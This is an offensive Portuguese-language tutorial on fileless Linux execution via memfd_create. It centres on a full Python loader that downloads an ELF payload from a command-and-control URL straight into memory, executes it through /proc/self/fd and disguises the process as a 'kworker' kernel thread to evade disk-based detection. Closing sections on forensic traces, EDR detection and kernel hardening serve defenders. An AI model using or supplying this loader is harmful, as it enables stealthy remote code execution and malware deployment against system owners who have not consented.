GHOST_IN_THE_RAM: Fileless Execution via memfd_create in Python
GHOST_IN_THE_RAM: Fileless Execution via memfd_create in Python
[ 0x00 ] EVASÃO DE DISCO E EXECUÇÃO FILELESS
Em táticas avançadas de pós-exploração, transferir payloads executáveis para diretórios comuns de escrita (como /tmp, /var/tmp ou /dev/shm) é considerado um indicador de comprometimento (IoC) primário. O monitoramento de integridade de arquivos, diretivas de montagem noexec e daemons que utilizam ganchos inotify capturam facilmente a criação de novos arquivos binários ELF.
A regra fundamental de evasão moderna é: Se tocar no disco físico, a assinatura estática ou heurística o interceptará.
Para mitigar essa superfície de detecção, emprega-se a execução fileless (sem arquivo físico), instanciando o binário executável diretamente na memória RAM. No ecossistema Linux, a chamada de sistema memfd_create é uma das principais interfaces utilizadas para viabilizar este propósito.
[ 0x01 ] MECANISMO DA SYSCALL MEMFD_CREATE
Introduzida no kernel Linux 3.17, a chamada de sistema memfd_create aloca um arquivo anônimo residente exclusivamente em memória volátil (utilizando a infraestrutura de memória compartilhada shmem do kernel). Esta chamada retorna um descritor de arquivo (file descriptor - FD) que pode ser manipulado exatamente como um arquivo convencional (via write, mmap, etc.).
No entanto, este FD não é mapeado em nenhuma árvore de diretórios do VFS (Virtual File System). O arquivo não possui uma entrada persistente no sistema de arquivos sob caminhos comuns de busca do sistema operacional.
A partir do Python 3.8, o interpretador expõe o wrapper nativo os.memfd_create na biblioteca padrão. Para versões legadas ou fins de demonstração de baixo nível, podemos invocar a API dinamicamente utilizando a biblioteca ctypes para se comunicar com a libc.
[ 0x02 ] IMPLEMENTAÇÃO DO LOADER PORTÁVEL EM PYTHON
O script abaixo demonstra a implementação de um carregador de memória que realiza o mapeamento por arquitetura do número da syscall de acordo com a plataforma detectada (x86_64, ARM64, i386), provendo portabilidade multiarquitetura restrita ao ecossistema Linux, tratando corretamente a sintaxe interna do Python.
import ctypes
import os
import platform
import urllib.request
# 1. Criação do file descriptor anônimo na memória RAM
def get_anonymous_fd(name: str) -> int:
# Utiliza o wrapper nativo do Python 3.8+ se disponível
if hasattr(os, "memfd_create"):
try:
return os.memfd_create(name, flags=os.MFD_CLOEXEC)
except OSError:
pass
# Fallback via chamada direta à syscall da libc (ctypes)
try:
from ctypes.util import find_library
libc_path = find_library('c')
if not libc_path:
return -1
libc = ctypes.CDLL(libc_path)
except Exception:
return -1
# Mapeamento estático do número da syscall por arquitetura do processador
arch = platform.machine()
if arch == "x86_64":
sys_memfd_create = 319
elif arch in ("aarch64", "arm64"):
sys_memfd_create = 279
elif arch in ("i386", "i686"):
sys_memfd_create = 356
elif arch.startswith("arm"):
sys_memfd_create = 385
else:
return -1
MFD_CLOEXEC = 0x0001
# Executa syscall(sys_memfd_create, name, flags)
return libc.syscall(sys_memfd_create, name.encode('utf-8'), MFD_CLOEXEC)
# Nome de exibição superficial no processo (masquerading)
fake_name = "kworker/u4:2"
fd = get_anonymous_fd(fake_name)
if fd == -1:
print("[-] Falha ao instanciar memfd anônimo.")
exit(1)
# 2. Exfiltração/Download do payload ELF diretamente para a RAM
try:
# Substituir pelo endereço do host C2
req = urllib.request.urlopen("http://meu-c2.com/payload.elf")
payload_bytes = req.read()
except Exception as e:
print(f"[-] Erro de conexão com C2: {e}")
exit(1)
# 3. Gravação do stream de bytes no descritor de arquivo na memória
os.write(fd, payload_bytes)
os.lseek(fd, 0, os.SEEK_SET)
# 4. Substituição do processo atual (execve) via descritor sob procfs
fd_path = f"/proc/self/fd/{fd}"
os.execv(fd_path, [fake_name])
[ 0x03 ] MITOS E LIMITAÇÕES DO MASQUERADING DE ARGUMENTOS
A técnica de passar fake_name ("kworker/u4:2") como o primeiro elemento da lista argv em os.execv altera a cadeia de caracteres exibida por listagens superficiais (como ps e top), que leem a memória do bloco /proc/<pid>/cmdline. No entanto, este masquerading não é absoluto e apresenta severas inconsistências forenses:
- Hierarquia de Processos (PPID): Um thread de kernel autêntico (
kworker) tem como processo pai okthreadd(PID 2). O binário fileless spawnado via Python manterá o PPID correspondente ao shell ou aplicação vulnerável de onde o loader foi invocado. - Mapeamento de Executável: O link simbólico
/proc/<pid>/exepara umkworkerreal não existe ou aponta para um kernel space invisível. No processo mascarado,/proc/<pid>/exeapontará explicitamente para/memfd:kworker/u4:2 (deleted). - Bloco de Ambiente: O arquivo
/proc/<pid>/environde threads de kernel legítimos é completamente nulo. O processo fileless conterá as variáveis de ambiente completas herdadas do runtime do Python. - Mapa de Memória: Threads de kernel operam puramente em kernel-space e não possuem espaço de memória de usuário. O processo fileless exibirá um mapa
/proc/<pid>/mapscontendo pilhas e heaps de usuário convencionais.
[ 0x04 ] VETORES DE DETECÇÃO E TELEMETRIA FORENSE
Apesar de ser indetectável para antivírus tradicionais baseados em varreduras de arquivos locais, a execução baseada em memfd_create é capturada em telemetria por soluções modernas de EDR e auditores do kernel Linux (como auditd ou monitores de eBPF):
- Rastreamento de Syscalls (eBPF): Motores baseados em eBPF (como o Tetragon) interceptam a syscall
sys_enter_memfd_createem tempo de execução, permitindo auditorias e bloqueios imediatos se processos em user-space realizarem a chamada. - Ganchos LSM (Linux Security Modules): Módulos de Segurança Linux (LSM) como SELinux e AppArmor não dependem de arquivos físicos no disco e avaliam privilégios e capacidades (como a permissão
execmemdo SELinux) em diversos ganchos do kernel, incluindo chamadas que alocam e mapeiam arquivos anônimos na memória. - Detecção de Execve Incomum: Regras de monitoramento de integridade que rastreiam chamadas
sys_enter_execveonde o caminho executado aponta para o padrão/proc/*/fd/*ou/proc/self/fd/*. - Forense de Memória: O utilitário clássico
ls -l /proc/*/exeouls -l /proc/*/fd/*revela facilmente arquivos cujo destino aponta para links/memfd:... (deleted). Além disso, ferramentas forenses de análise de memória (como o Volatility via pluginmalfind) são eficientes para rastrear regiões executáveis (rwxour-x) desprovidas de arquivos correspondentes em disco, assim como a listagem direta de mapeamentos sob/proc/<pid>/mapscontendo links simbólicos óbvios para arquivos anônimos/memfd:... (deleted).
Diretriz de Hardening: Configure o parâmetro de kernel vm.memfd_noexec (disponível a partir do kernel 6.0+) para bloquear ou auditar a execução de memfds (ajustando para 2 para desabilitar completamente), ou implemente políticas de segurança restritivas via LSM para bloquear chamadas execve cujo caminho de execução aponte para descritores virtuais sob /proc/self/fd/.